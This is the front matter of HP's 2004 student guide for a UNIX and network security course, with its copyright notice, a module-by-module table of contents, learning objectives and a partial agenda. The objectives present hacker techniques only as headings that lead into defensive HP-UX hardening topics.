Student UNIX and Network Security

Practical
guide D.02
H3541S

HP Training

Student guide
Copyright 2004 Hewlett-Packard Development Company, L.P.

The information contained herein is subject to change without notice. The only warranties for HP
products and services are set forth in the express warranty statements accompanying such
products and services. Nothing herein should be construed as constituting an additional warranty.
HP shall not be liable for technical or editorial errors or omissions contained herein.
This is an HP copyrighted work that may not be reproduced without the written permission of HP.
You may not use these materials to deliver training to any person outside of your organization
without the written permission of HP.
UNIX® is a registered trademark of the Open Group.
Microsoft®, Microsoft Windows®, and Windows NT® are registered trademarks of Microsoft Corp.
Netscape is a U.S. trademark of Netscape Communications Corporation.

Printed in the USA

Practical UNIX and Network Security
Student guide
February 2004
 Contents

Contents
Module 1 — Introduction
1–1. SLIDE: STOP! .................................................................................................................... 1-2
1–2. SLIDE: What is Computer Security?............................................................................... 1-3
1–3. SLIDE: Areas of Computer Security ............................................................................... 1-5
1–4. SLIDE: Corporate Computer Security Risks ................................................................. 1-6
1–5. SLIDE: IT Managers' Security Risks ............................................................................... 1-8
1–6. SLIDE: Changes in the Computing Environment: Security Implications ................ 1-10
1–7. SLIDE: Changing Administrator Roles: Security Implications.................................. 1-12
1–8. SLIDE: Overview of UNIX Security .............................................................................. 1-13
1–9. LAB: Using Contributed Security Tools ....................................................................... 1-14

Module 2 — How the Hacker Gathers Information about a Target System

2–1. SLIDE: The Hacker's Process: Gathering Information................................................. 2-2
2–2. SLIDE: Information Gathered by the Hacker ................................................................ 2-3
2–3. SLIDE: Commands and Services that Provide Information ........................................ 2-4
2–4. SLIDE: Securing the Login Banners (1 of 2).................................................................. 2-5
2–5. SLIDE: Securing the Login Banners (2 of 2).................................................................. 2-6
2–6. SLIDE: Securing finger................................................................................................. 2-9
2–7. SLIDE: Securing rwho and rusers............................................................................. 2-11
2–8. SLIDE: Securing sendmail/SMTP.................................................................................. 2-13
2–9. SLIDE: Securing SD-UX ................................................................................................. 2-15
2–10. SLIDE: Securing rpcbind and rpc.mountd ............................................................ 2-17
2–11. SLIDE: Securing snmpdm............................................................................................... 2-19
2–12. SLIDE: Gathering Information via Port Scanners....................................................... 2-21
2–13. SLIDE: Gathering Information On-Site ........................................................................ 2-22
2–14. SLIDE: Gathering Information from People................................................................ 2-24
2–15. SLIDE: Gathering Information from the Experts........................................................ 2-26
2–16. LAB: Gathering Information about a Target Host....................................................... 2-27

Module 3 — How the Hacker Gains Access to a Target System (Part 1)

3–1. SLIDE: The Hacker's Process: Gaining Access to the System .................................... 3-2
3–2. SLIDE: Gaining Access via Programmatic Bugs ........................................................... 3-3
3–3. SLIDE: Subscribing to the CERT Advisory Bulletin ..................................................... 3-4
3–4. SLIDE: Reading CERT Advisory Bulletins..................................................................... 3-5
3–5. SLIDE: Subscribing to the HP-UX Security Bulletin................................................... 3-14
3–6. SLIDE: Reading HP-UX Security Bulletins .................................................................. 3-15
3–7. SLIDE: Introducing HP’s security_patch_check Tool ...................................... 3-25
3–8. SLIDE: Installing security_patch_check ............................................................ 3-26
3–9. SLIDE: Running security_patch_check.............................................................. 3-28
3–10. SLIDE: Reading the security_patch_check Report........................................... 3-30
3–11 SLIDE: Viewing Installed Software and Patches ........................................................ 3-33
3–12. SLIDE: Installing Security Patches ............................................................................... 3-35
3–13. SLIDE: Installing Product Updates............................................................................... 3-37
3–14. SLIDE: Preventing Buffer Overflow Attacks ............................................................... 3-38
3–15. SLIDE: Setting the executable_stack Kernel Parameter.................................... 3-40
3–16. SLIDE: Setting the chatr +es Executable Stack Option........................................ 3-42
3–17. LAB: Preventing Hackers from Gaining Access Programmatically.......................... 3-44

http://education.hp.com iii H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Contents

Module 4 — How the Hacker Gains Access to a Target System (Part 2)

4–1. SLIDE: The Hacker's Process: Getting to a Login Prompt ...........................................4-2
4–2. SLIDE: How Hackers Get to a Login Prompt.................................................................4-3
4–3. SLIDE: Securing Dial-In Lines..........................................................................................4-4
4–4. SLIDE: Controlling Access via /etc/inittab ...........................................................4-6
4–5. SLIDE: Controlling Access via /etc/dialups ...........................................................4-8
4–6. SLIDE: Controlling Workstation Console Access .......................................................4-10
4–7. SLIDE: Controlling GSP/MP Console Access on Servers ...........................................4-12
4–8. SLIDE: Securing the GSP/MP Access Ports .................................................................4-14
4–9. SLIDE: Configuring a GSP/MP Private Management LAN .........................................4-17
4–10. SLIDE: Securing the GSP/MP Users..............................................................................4-19
4–11. SLIDE: Controlling Access via inetd..........................................................................4-22
4–11. SLIDE: Controlling Access via X/CDE..........................................................................4-24
4–12. SLIDE: Protecting Terminal Device Files.....................................................................4-26
4–13. SLIDE: Configuring the Screen Lock ............................................................................4-29
4–14. LAB: Gaining Access .......................................................................................................4-31

Module 5 — How the Hacker Gains Privileges (Part 1)

5–1. SLIDE: The Hacker's Process: Gain User Access..........................................................5-2
5–2. SLIDE: The /etc/passwd File ......................................................................................5-3
5–3. SLIDE: The /etc/shadow File ......................................................................................5-5
5–4. SLIDE: Creating /etc/shadow......................................................................................5-7
5–5. SLIDE: Encrypting Passwords.........................................................................................5-9
5–6. SLIDE: Checking Encrypted Passwords at Login .......................................................5-11
5–7. SLIDE: Bad Passwords ...................................................................................................5-12
5–8. SLIDE: Good Passwords.................................................................................................5-14
5–9. SLIDE: Managing Passwords .........................................................................................5-16
5–10. SLIDE: Aging Standard UNIX Passwords.....................................................................5-18
5–11. SLIDE: Aging Shadowed Passwords.............................................................................5-20
5–12. SLIDE: Expiring Shadowed Password Accounts ........................................................5-21
5–13. SLIDE: Setting Default Password Restrictions............................................................5-22
5–14. SLIDE: Cracking Passwords ..........................................................................................5-24
5–15. TEXT PAGE: Running Crack .........................................................................................5-26
5–16. SLIDE: Password Security: Best Practices ..................................................................5-29
5–17. LAB: Securing User Passwords .....................................................................................5-31

Module 6 — How the Hacker Gains Privileges (Part 2)

6–1. SLIDE: The Hacker's Process: Gain User Access (Part 2) ...........................................6-2
6–2. SLIDE: Securing User Accounts: Guidelines .................................................................6-3
6–3. SLIDE: Dangerous Accounts............................................................................................6-4
6–4. SLIDE: The root Account ...............................................................................................6-5
6–5. SLIDE: Multiple root Accounts (Solution #1)..............................................................6-9
6–6. SLIDE: Multiple root Accounts (Solution #2)............................................................6-11
6–7. SLIDE: Operator Accounts (Solution #1) .....................................................................6-13
6–8. SLIDE: Operator Accounts (Solution #2) .....................................................................6-15
6–9. TEXT PAGE: Configuring the sudoers Configuration File.........................................6-17
6–10. SLIDE: Guest Accounts ..................................................................................................6-20
6–11. SLIDE: Application User Accounts ...............................................................................6-22
6–12. SLIDE: Group Accounts .................................................................................................6-24
6–13. SLIDE: Dormant Accounts .............................................................................................6-27

H3541S D.02 iv http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Contents

6–14. LAB: Protecting User Accounts .................................................................................... 6-30

Module 7  Improving User and Password Security with Trusted Systems

7–1. SLIDE: HP-UX Trusted System Overview...................................................................... 7-2
7–2. SLIDE: Converting to a Trusted System ........................................................................ 7-3
7–3. SLIDE: /tcb Password Format Policies ....................................................................... 7-5
7–4. SLIDE: /tcb Password Aging Policies .......................................................................... 7-7
7–5. SLIDE: /tcb User Account Policies .............................................................................. 7-9
7–6. SLIDE: /tcb Terminal Security Policies ..................................................................... 7-11
7–7. SLIDE: /tcb Access Control Policies.......................................................................... 7-13
7–8. SLIDE: /tcb Password History Functionality............................................................ 7-15
7–9. SLIDE: /tcb Directory Structure................................................................................. 7-16
7–10. SLIDE: /tcb User Database Format............................................................................ 7-18
7–11. LAB: Trusted Systems .................................................................................................... 7-21

Module 8  Solution: Securing UNIX File Systems

8–1. SLIDE: Securing UNIX File Systems .............................................................................. 8-2
8–2. SLIDE: Basic UNIX File Permissions ............................................................................. 8-3
8–3. SLIDE: Viewing and Changing File Permissions........................................................... 8-5
8–4. SLIDE: Searching for Files with Improper Permissions .............................................. 8-7
8–5. SLIDE: Securing SUID Executables ............................................................................... 8-9
8–6. SLIDE: Securing SGID Executables ............................................................................. 8-12
8–7. SLIDE: Configuring SGID Directories .......................................................................... 8-14
8–8. SLIDE: Configuring Sticky Bit Directories .................................................................. 8-16
8–9. SLIDE: Introducing JFS ACLs ....................................................................................... 8-18
8–10. SLIDE: Minimal JFS ACLs ............................................................................................. 8-20
8–11. SLIDE: Additional JFS ACLs ......................................................................................... 8-22
8–12. SLIDE: Setting and Viewing JFS ACLs ......................................................................... 8-24
8–13. SLIDE: The JFS ACL Class Entry.................................................................................. 8-26
8–14. SLIDE: The JFS ACL Default Entries ........................................................................... 8-29
8–15. LAB: Securing UNIX File Systems ................................................................................ 8-31

Module 9  How the Hacker Monitors and Hides System Activity

9–1. SLIDE: The Hacker's Process: Perform Unauthorized Activities ............................... 9-2
9–2. SLIDE: Perform Unauthorized Activities: Monitor System Activity........................... 9-3
9–3. SLIDE: Monitoring Log Files ........................................................................................... 9-4
9–4. SLIDE: Monitoring User Logins ...................................................................................... 9-6
9–5. SLIDE: Monitoring Processes.......................................................................................... 9-8
9–6. SLIDE: Monitoring File Access ....................................................................................... 9-9
9–7. SLIDE: Monitoring Network Connections................................................................... 9-11
9–8. SLIDE: Monitoring inetd Connections ...................................................................... 9-13
9–9. SLIDE: Monitoring /var/adm/syslog/syslog.log........................................... 9-15
9–10. SLIDE: Configuring syslogd Logging (1 of 2)........................................................... 9-16
9–11. SLIDE: Configuring syslogd Logging (2 of 2)........................................................... 9-18
9–12. SLIDE: Monitoring Log Files with swatch ................................................................... 9-21
9–13. SLIDE: Hiding System Activity...................................................................................... 9-24
9–14. SLIDE: Connection Hiding............................................................................................. 9-25
9–15. SLIDE: Process Hiding ................................................................................................... 9-27
9–16. SLIDE: Argument Hiding (1 of 2) .................................................................................. 9-29
9–17. SLIDE: Argument Hiding (2 of 2) .................................................................................. 9-30
9–18. SLIDE: Doctoring Log Files ........................................................................................... 9-31

http://education.hp.com v H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Contents

9–19. SLIDE: Modifying Time Stamps.....................................................................................9-33

9–20. LAB: Monitoring and Hiding System Activity ..............................................................9-35

Module 10  Solution: Monitoring Suspicious Activity with IDS/9000

10–1. SLIDE: Intrusion Detection System Overview.............................................................10-2
10–2. SLIDE: IDS Architecture.................................................................................................10-4
10–3. SLIDE: Detection Templates..........................................................................................10-5
10–4. SLIDE: Detection Template Properties ........................................................................10-8
10–5. SLIDE: Surveillance Groups...........................................................................................10-9
10–6. SLIDE: Surveillance Schedules....................................................................................10-11
10–7. SLIDE: Surveillance Schedule to Host Mapping........................................................10-12
10–8. SLIDE: Installing IDS/9000 ...........................................................................................10-13
10–9. SLIDE: Configuring Surveillance Groups ...................................................................10-17
10–10. SLIDE: Configuring Surveillance Schedules ..............................................................10-19
10–11. SLIDE: Configuring Monitored Hosts .........................................................................10-21
10–12. SLIDE: Assigning Schedules to Monitored Hosts......................................................10-23
10–13. SLIDE: Monitoring Alerts .............................................................................................10-25
10–14. SLIDE: Viewing Alert Details .......................................................................................10-27
10–15. SLIDE: Configuring IDS Response Scripts.................................................................10-29
10–16. LAB: Configuring and Using IDS/9000 ........................................................................10-31

Module 11  How the Hacker Exploits Backdoors

11–1. SLIDE: Perform Unauthorized Activities: Create Backdoors ....................................11-2
11–2. SLIDE: Backdoors ...........................................................................................................11-3
11–3. SLIDE: Write Access to System Directories.................................................................11-4
11–4. SLIDE: Example: Write Access to Device Files...........................................................11-5
11–5. SLIDE: Example: Write Access to the cron Directory ................................................11-7
11–6. SLIDE: Example: Write Access to Directories in Root’s PATH Variable .................11-9
11–7. SLIDE: Example: Write Access to Files Executed at System Startup ....................11-11
11–8. SLIDE: Example: Write Access to Files in Root’s Home Directory ........................11-13
11–9. SLIDE: Preventing Backdoors with Proper File Permissions..................................11-15
11–10. SLIDE: Identifying Backdoors with Tripwire ............................................................11-17
11–11. SLIDE: Creating the Tripwire Configuration File......................................................11-18
11–12. SLIDE: Running Tripwire .............................................................................................11-22
11–13. SLIDE: Contributed versus. Commercial Tripwire ...................................................11-24
11–14. LAB: Operating System Backdoors.............................................................................11-26

Module 12  How the Hacker Exploits TCP/IP Vulnerabilities

12–1. SLIDE: Perform Unauthorized Activities: Gain Access to Other
Network Systems ............................................................................................................12-2
12–2. SLIDE: Dangerous Networks .........................................................................................12-3
12–3. SLIDE: TCP/IP Overview................................................................................................12-4
12–4. SLIDE: Danger: Bogus DNS Responses........................................................................12-6
12–5. SLIDE: Danger: Network Sniffers .................................................................................12-7
12–6. SLIDE: Danger: IP Spoofing ...........................................................................................12-8
12–7. SLIDE: Solution: Secure Your Network Infrastructure ..............................................12-9
12–8. SLIDE: Solution: Use Symmetric Key Encryption.....................................................12-10
12–9. SLIDE: Solution: Use Public Key Encryption ............................................................12-11
12–10. SLIDE: Solution: Use Public Key Authentication ......................................................12-13
12–11. SLIDE: Solution: HP-UX Encryption and Authentication Product Comparison ...12-15
12–12. SLIDE: Configuring SSH Basic Authentication and Encryption..............................12-17

H3541S D.02 vi http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Contents

12–13. SLIDE: Configuring SSH Client/User Authentication............................................... 12-19

12–14. SLIDE: Using the SSH Clients ..................................................................................... 12-21
12–15. LAB: Experimenting with SSH Encryption and Authentication ............................. 12-23

Module 13  How the Hacker Exploits Internet Service Vulnerabilities

13–1. SLIDE: Perform Unauthorized Activities: Gain Access to Other
Network Systems ............................................................................................................ 13-2
13–2. SLIDE: Internet Service Security Overview................................................................. 13-3
13–3. SLIDE: Securing inetd ................................................................................................. 13-5
13–4. SLIDE: Securing the inetd Internal Services ............................................................ 13-7
13–5. SLIDE: Securing the inetd RPC Services .................................................................. 13-8
13–6. SLIDE: Berkeley Service Security Issue #1................................................................ 13-10
13–7. SLIDE: Berkeley Services Security Issue #2.............................................................. 13-12
13–8. SLIDE: Securing the Berkeley Services ..................................................................... 13-13
13–9. SLIDE: Securing FTP.................................................................................................... 13-15
13–10. SLIDE: Defining FTP Service Classes ........................................................................ 13-17
13–11. SLIDE: Anonymous/Guest FTP Files and Directories.............................................. 13-19
13–12. SLIDE: Configuring Anonymous FTP Access ........................................................... 13-22
13–13. SLIDE: Configuring Guest FTP Access ...................................................................... 13-24
13–14. SLIDE: Configuring /etc/ftpd/ftpaccess ........................................................ 13-26
13–15. SLIDE: Securing Other inetd Services (1 of 2) ....................................................... 13-30
13–16. SLIDE: Securing Other inetd Services (2 of 2) ....................................................... 13-31
13–17. SLIDE: Shutting Down non-inetd Services ............................................................. 13-32
13–18. SLIDE: Introducing Tcpwrapper................................................................................. 13-34
13–19. SLIDE: How Tcpwrapper Works................................................................................. 13-36
13–20. SLIDE: Tcpwrapper Access Control........................................................................... 13-37
13–21. LAB: Securing the Internet Services........................................................................... 13-40

Module 14  How the Hacker Exploits NFS Vulnerabilities

14–1. SLIDE: Perform Unauthorized Activities: Gain Access to Other
Network Systems ............................................................................................................ 14-2
14–2. SLIDE: NFS Overview .................................................................................................... 14-3
14–3. SLIDE: Who Controls Access to NFS Files?................................................................ 14-5
14–4. SLIDE: Controlling NFS Client Access......................................................................... 14-7
14–5. SLIDE: Controlling Root NFS Client Access ............................................................... 14-9
14–6. SLIDE: Controlling Access with Netgroups............................................................... 14-11
14–7. SLIDE: Using NFS Client Side Mount Options.......................................................... 14-12
14–8. SLIDE: Preventing NFS Spoofing with Firewalls...................................................... 14-13
14–9. SLIDE: Monitoring NFS Access .................................................................................. 14-14
14–10. SLIDE: Improving NFS Security: Best Practices....................................................... 14-15
14–11. LAB: Improving NFS Security ..................................................................................... 14-16

Module 15  How the Hacker Exploits NIS Vulnerabilities

15–1. SLIDE: Perform Unauthorized Activities: Gain Access to Other
Network Systems ............................................................................................................ 15-2
15–2. SLIDE: NIS Overview ..................................................................................................... 15-3
15–3. SLIDE: Limiting Access to NIS Clients......................................................................... 15-4
15–4. SLIDE: Limiting Access to the NIS Master Server ...................................................... 15-6
15–5. SLIDE: Limiting Access with NIS Netgroups .............................................................. 15-9
15–6. SLIDE: Verifying the NIS Server’s IP Address........................................................... 15-10
15–7. SLIDE: Excluding Unauthorized Clients from the Domain ..................................... 15-12

http://education.hp.com vii H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Contents

15–8. SLIDE: Verifying ypserv’s Port Number ................................................................15-14

15–9. SLIDE: Improving NIS Security: Best Practices .......................................................15-16
15–10. LAB: Improving NIS Security.......................................................................................15-17

Module 16 — Solution: Scanning for Vulnerabilities with Nessus

16–1. SLIDE: What Is a Scanner?.............................................................................................16-2
16–2. SLIDE: Available Scanners.............................................................................................16-3
16–3. SLIDE: Nessus Features .................................................................................................16-5
16–4. SLIDE: Installing Nessus ................................................................................................16-7
16–5. SLIDE: Connecting to the Nessus Server ...................................................................16-10
16–6. SLIDE: Selecting Nessus Plugins.................................................................................16-11
16–7. SLIDE: Selecting Nessus Targets ................................................................................16-13
16–8. SLIDE: Starting the Scan ..............................................................................................16-14
16–9. SLIDE: Viewing the Results..........................................................................................16-15
16–10. SLIDE: Saving the Results ............................................................................................16-17
16–11. LAB: Configuring and Running Nessus.......................................................................16-18

Module 17 — Solution: Hardening HP-UX Hosts with Bastille

17–1. SLIDE: Introducing Bastille ...........................................................................................17-2
17–2. SLIDE: Bastille Process Overview ................................................................................17-4
17–3. SLIDE: Using the Bastille GUI .......................................................................................17-6
17–4. SLIDE: Saving the Configuration File ...........................................................................17-8
17–5. SLIDE: Applying the Configuration...............................................................................17-9
17–6. SLIDE: Reverting to the pre-Bastille Configuration..................................................17-11
17–7. SLIDE: Bastille Directories and Files .........................................................................17-13
17–8. LAB: Configuring and Running Bastille......................................................................17-14

Module 18 — Solution: Configuring IPFilter Firewalls

18–1. SLIDE: Firewall Overview..............................................................................................18-2
18–2. SLIDE: Packet Filtering ..................................................................................................18-4
18–3. SLIDE: Network Address Translation Firewalls .........................................................18-6
18–4. SLIDE: Proxy Firewalls ..................................................................................................18-8
18–5. SLIDE: Perimeter versus System Firewalls................................................................18-10
18–6. SLIDE: HP-UX Firewall Solutions ...............................................................................18-11
18–7. SLIDE: Installing IPFilter .............................................................................................18-13
18–8. SLIDE: Managing IPFilter Rulesets .............................................................................18-15
18–9. SLIDE: Configuring a Default Deny Policy ................................................................18-17
18–10. SLIDE: Preventing IP Spoofing....................................................................................18-19
18–11. SLIDE: Preventing Loopback Spoofing ......................................................................18-21
18–12. SLIDE: Controlling ICMP Service Access ..................................................................18-22
18–13. SLIDE: UDP Concept Review ......................................................................................18-24
18–14. SLIDE: Controlling Access to UDP Services..............................................................18-25
18–15. SLIDE: TCP Concept Review.......................................................................................18-27
18–16. SLIDE: Controlling Access to TCP Services ..............................................................18-28
18–17. SLIDE: Controlling Access via Active FTP ................................................................18-30
18–18. SLIDE: Controlling Access via Passive FTP ..............................................................18-32
18–19. SLIDE: Testing IPFilter Rulesets.................................................................................18-34
18–20. SLIDE: Monitoring IPFilter ..........................................................................................18-36
18–21. LAB: Configuring an IPFilter System Firewall...........................................................18-38

Module 19  How the Hacker Performs Damaging Tasks

19–1. SLIDE: Perform Unauthorized Activities: Perform Damaging Tasks .......................19-2

H3541S D.02 viii http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Contents

19–2. SLIDE: The Hacker's Goal after Gaining Access ........................................................ 19-3
19–3. SLIDE: DoS Attack: Too Many Processes.................................................................... 19-4
19–4. SLIDE: DoS Attack: Too Many Data Blocks ................................................................ 19-6
19–5. SLIDE: DoS Attacks: Too Many Inodes........................................................................ 19-8
19–6. SLIDE: DoS Attack: Too Many Connections ............................................................. 19-10
19–7. SLIDE: Types of Programmed Threats....................................................................... 19-12
19–8. LAB: Damaging Tasks .................................................................................................. 19-14

Appendix A  Solution: Trusted Systems Auditing

A–1. SLIDE: Overview of Trusted Systems Auditing ........................................................... A-2
A–2. SLIDE: The Audit Log File .............................................................................................. A-4
A–3. SLIDE: Auditing Parameters........................................................................................... A-6
A–4. SLIDE: Commands to Administer Auditing .................................................................. A-8
A–5. SLIDE: Which Users Are Being Audited?.................................................................... A-10
A–6. SLIDE: Interpreting Audit Log Data ............................................................................ A-11
A–7. SLIDE: Calculating File Permissions........................................................................... A-13
A–8. SLIDE: Auditing Considerations .................................................................................. A-15
A–9. SLIDE: Impact of Auditing............................................................................................ A-16
A–10. LAB: Trusted Systems: Auditing ................................................................................. A-17

Solutions

http://education.hp.com ix H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Contents

H3541S D.02 x http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Overview

Overview

Course Description
The 5-day Practical UNIX and Network Security (H3541S) course describes the various
security loopholes in a typical UNIX system and how to plug them. System and network
security are covered from the hacker's perspective.

Course Goals
Experienced UNIX system administrators will learn how to prevent security threats to their
systems.

Student Performance Objectives

Module 1 — Introduction

• Define computer security.

• Describe why companies and IT managers have become more concerned about security.

• Describe why UNIX administrators need to be especially conscious of security issues.

Module 2 — How the Hacker Gathers Information about a Target System

• List seven types of information a hacker attempts to gather about a target system.

• Describe how hackers obtain information about a target via /etc/issue and dtgreet.

• Describe how hackers obtain information about a target via telnet, rlogin, and ftp.

• Describe how hackers obtain information about a target via finger.

• Describe how hackers obtain information about a target via rwho and rusers.

• Describe how hackers obtain information about a target via sendmail.

• Describe how hackers obtain information about a target via swagentd.

• Describe how hackers obtain information about a target via showmount and rpcinfo.

• Describe how hackers obtain information about a target via snmpdm.

• Describe how hackers obtain information about a target via port scanners.

• List four ways a hacker gathers information from people and other sources.

http://education.hp.com 1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Overview

Module 3 — How the Hacker Gains Access to a Target System (Part 1)

• Describe how hackers exploit software bugs to gain access to target systems

• Describe the importance and use of CERT advisory notices

• Describe the importance and use of HP Security Bulletins

• Use HP’s security_patch_check tool to identify missing security patches

• List currently installed software versions and patches

• Download and install security patches

• Prevent buffer overflow security exploits via the executable_stack kernel parameter

• Prevent buffer overflow security exploits via the chatr +es command

• Control terminal device file access via mesg.

• Control X/CDE display access via xhost.

• Configure the CDE and ASCII terminal automatic screen lock functionality.

Module 4 — How the Hacker Gains Access to a Target System (Part 2)

• List eight dial-in line security measures.

• Control terminal and modem login access via /etc/inittab.

• Control dial-in access via /etc/dialups and /etc/d_passwd.

• Control workstation console access via the secure boot option.

• Control server console access via the GSP/MP.

• Control internet service access via /etc/inetd.conf and /var/adm/inetd.sec.

• Control X/CDE access via /etc/rc.config.d/desktop and

/etc/dt/config/Xaccess.

• Control terminal device file access via mesg.

• Control X/CDE display access via xhost and xauth.

• Configure the CDE and ASCII terminal automatic screen lock functionality.

H3541S D.02 2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Overview

Module 5 — How the Hacker Gains Privileges (Part 1)

• Describe the format of the /etc/passwd file.

• Describe the format of the /etc/shadow file.

• Describe the procedure used to create the /etc/shadow file.

• Describe the procedure used to encrypt UNIX passwords.

• Describe the procedure used to verify a user's password at login.

• Describe the qualities that differentiate good passwords from bad passwords.

• Manage user passwords with the passwd command.

• Enable password aging with the passwd command.

• Verify the security of the /etc/passwd file with Crack.

Module 6 — How the Hacker Gains Privileges (Part 2)

• List seven guidelines for securing user accounts.

• Configure the root account securely.

• Configure /etc/securetty to limit login access to the root account.

• Configure restricted root access for operators via the restricted SAM builder.

• Configure restricted root access for operators via sudo.

• Configure a shared directory via group permissions and the /etc/group file.

• Configure a secure guest account with a restricted shell.

• Describe the dangers posed by dormant accounts.

Module 7 — Improving User and Password Security with Trusted Systems

• Compare the features of /etc/passwd, /etc/shadow, and trusted system passwords.

• Enable and disable the HP-UX trusted system functionality.

• Configure trusted systems password format policies.

• Configure trusted system password aging policies.

• Configure trusted system user account policies.

http://education.hp.com 3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Overview

• Configure trusted system terminal security policies.

• Configure trusted system access control policies.

• Configure trusted system password history functionality.

• Navigate the /tcb directory structure.

Module 8  Solution: Securing UNIX File Systems

• List five ways in which poorly configured file permissions may degrade system security.

• Explain the purpose and use of the basic UNIX file permissions.

• Explain the purpose and use of the SUID, SGID, and sticky bit permissions.

• View and modify permissions on files and directories.

• Define a user’s umask.

• Search for files with inappropriate file permissions.

• Configure and use JFS Access Control Lists to secure files and directories.

Module 9  How the Hacker Monitors and Hides System Activity

• Describe the purpose of common HP-UX log files.

• Monitor processes using top and ps.

• Monitor files using ll and lsof.

• Monitor user logins via who, last, lastb, and sulog.

• Monitor network connections via netstat and lsof

• Monitor inetd connections via inetd logging.

• Monitor daemon and subsystem log messages in /var/adm/syslog/syslog.log.

• Monitor log messages using swatch.

• Configure the syslogd daemon.

• Describe how hackers subvert normal UNIX logging and reporting mechanisms.

• Describe how hackers hide network connections.

• Describe how hackers hide suspicious processes.

H3541S D.02 4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Overview

• Describe how hackers hide suspicious command-line arguments.

• Describe how hackers erase log file entries.

• Describe how hackers modify file time stamps.

Module 10  Solution: Monitoring Suspicious Activity with IDS/9000

• Describe the purpose and features of the IDS/9000 product.

• Describe the conditions that IDS/9000 monitors.

• Configure IDS/9000 detection template properties.

• Configure IDS/9000 surveillance groups.

• Configure IDS/9000 surveillance schedules.

• Configure IDS/9000 monitored nodes.

• Configure IDS/9000 automated response scripts.

• Use the IDS GUI interface to monitor security incidents on client systems.

Module 11  How the Hacker Exploits Backdoors

• Describe six of the common UNIX backdoors that hackers exploit.

• Use find to identify files and directories that hackers may use to create backdoors.

• Use swverify to identify executables and libraries that may have been compromised.

• Use tripwire to identify files and directories that may have been compromised.

Module 12  How the Hacker Exploits TCP/IP Vulnerabilities

• Explain why TCP/IP networks are vulnerable to network sniffers.

• Explain why TCP/IP networks are vulnerable to IP spoofing

• Explain why TCP/IP networks are vulnerable to DNS server attacks.

• Explain how symmetric key encryption works.

• Explain how public key encryption works.

• Explain how public key authentication works.

• Compare and contrast HP-UX encryption/authentication solutions.

http://education.hp.com 5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Overview

• Configure SSH to encrypt and authenticate remote logins and file transfers.

• Use the ssh, sftp, and scp SSH clients.

Module 13  How the Hacker Exploits Internet Service Vulnerabilities

• Configure and use the built-in inetd security features.

• Configure and use Tcpwrapper security features.

• Improve security by disabling the built-in inetd services.

• Improve security by disabling the RPC services.

• Improve security by disabling other common inetd services.

• Improve Berkeley service security.

• Improve FTP security.

• Improve anonymous FTP security.

• Improve guest FTP security.

• Configure /etc/ftpd/ftpaccess security features.

• Use lsof, find, and grep to identify and disable other network services on your host.

Module 14  How the Hacker Exploits NFS Vulnerabilities

• List the main issues related to securing NFS servers.

• Describe the mechanisms available to limit access to files on an NFS server.

• Limit NFS client mount access via export options.

• Limit NFS client root access via export options.

• Limit NFS client mount access via the /etc/netgroup file.

• Describe the dangers posed by NFS spoof attacks.

• Monitor NFS access attempts via NFS logging and the showmount command.

Module 15  How the Hacker Exploits NIS Vulnerabilities

• List the main security issues related to Network Information Services (NIS).

• Limit login access on NIS clients and slaves.

H3541S D.02 6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Overview

• Limit login access on NIS master servers.

• Limit login access on NIS servers and clients via /etc/netgroup.

• Improve NIS security via /var/yp/secureservers.

• Improve NIS security via /var/yp/secureservers.

Module 16  Solution: Scanning for Vulnerabilities with Nessus

• Explain the purpose of host and network scanners.

• List some of the free and commercial scanners available today.

• Install, configure, and run the Nessus network scanner.

Module 17  Solution: Hardening HP-UX Hosts with Bastille

• Explain the term “hardened host”.

• Describe the features and benefits of the Bastille product.

• Create a Bastille config file using the Graphical User Interface.

• Modify a Bastille config file from the command line.

• Apply a Bastille config file.

• Revert to a pre-Bastille configuration.

Module 18  Solution: Configuring IPFilter Firewalls

• Describe the purpose of a firewall.

• Describe the purpose of packet filtering.

• Describe the purpose of network address translation.

• Describe the purpose of proxy servers.

• Describe the difference between perimeter and system firewalls.

• Describe the primary features and limitations of HP’s IPFilter firewall product.

• Install and configure an IPFilter system firewall.

• Configure and manage IPFilter rulesets.

• Configure an IPFilter default deny policy.

http://education.hp.com 7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Overview

• Configure IPFilter to prevent IP spoofing.

• Block and allow ICMP service access requests through an IPFilter firewall.

• Block and allow TCP service access requests through an IPFilter firewall.

• Block and allow UDP service access requests through an IPFilter firewall.

• Block and allow active and passive FTP access requests through an IPFilter firewall.

• Use ipftest and ipmon to test and monitor an IPFilter firewall.

Module 19  How The Hacker Performs Damaging Tasks

• Describe six damaging tasks a hacker might perform after gaining access to a target.

• Minimize the danger of CPU DoS attacks.

• Minimize the danger of disk space DoS attacks.

• Minimize the danger of inode table DoS attacks.

• Minimize the danger of network DoS attacks.

• Minimize the dangers posed by viruses, trojan horses, and other programmed threats.

Appendix A  Solution: Trusted System Auditing

• Turn auditing on and off.

• List the location of the audit log files.

• View the contents of the audit log files.

• Identify three different methods for specifying the type of information to be audited.

• Determine whether or not a user is currently being audited.

Student Profile and Prerequisites

Any one of the following satisfies prerequisites for students taking Practical UNIX and
Network Security:

• HP-UX System and Network Administration I (H3064S) and HP-UX System and Network
Administration II (H3065S)
• UNIX Fundamentals (51434S)
• HP-UX System and Network Administration for Experienced UNIX System
Administrators (H5875S)
• Equivalent experience

H3541S D.02 8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Overview

Agenda

Day 1
1 Introduction
2 How the Hacker Gathers Information about a Target System
3 How the Hacker Gains Access to a Target System (Part 1)
4 How the Hacker Gains Access to a Target System (Part 2)

Day 2
5 How the Hacker Gains Privileges (Part 1)
6 How the Hacker Gains Privileges (Part 2)
7 Improving User and Password Security with Trusted Systems
8 Solution: Securing UNIX File Systems

Day 3
9 How the Hacker Monitors and Hides System Activity
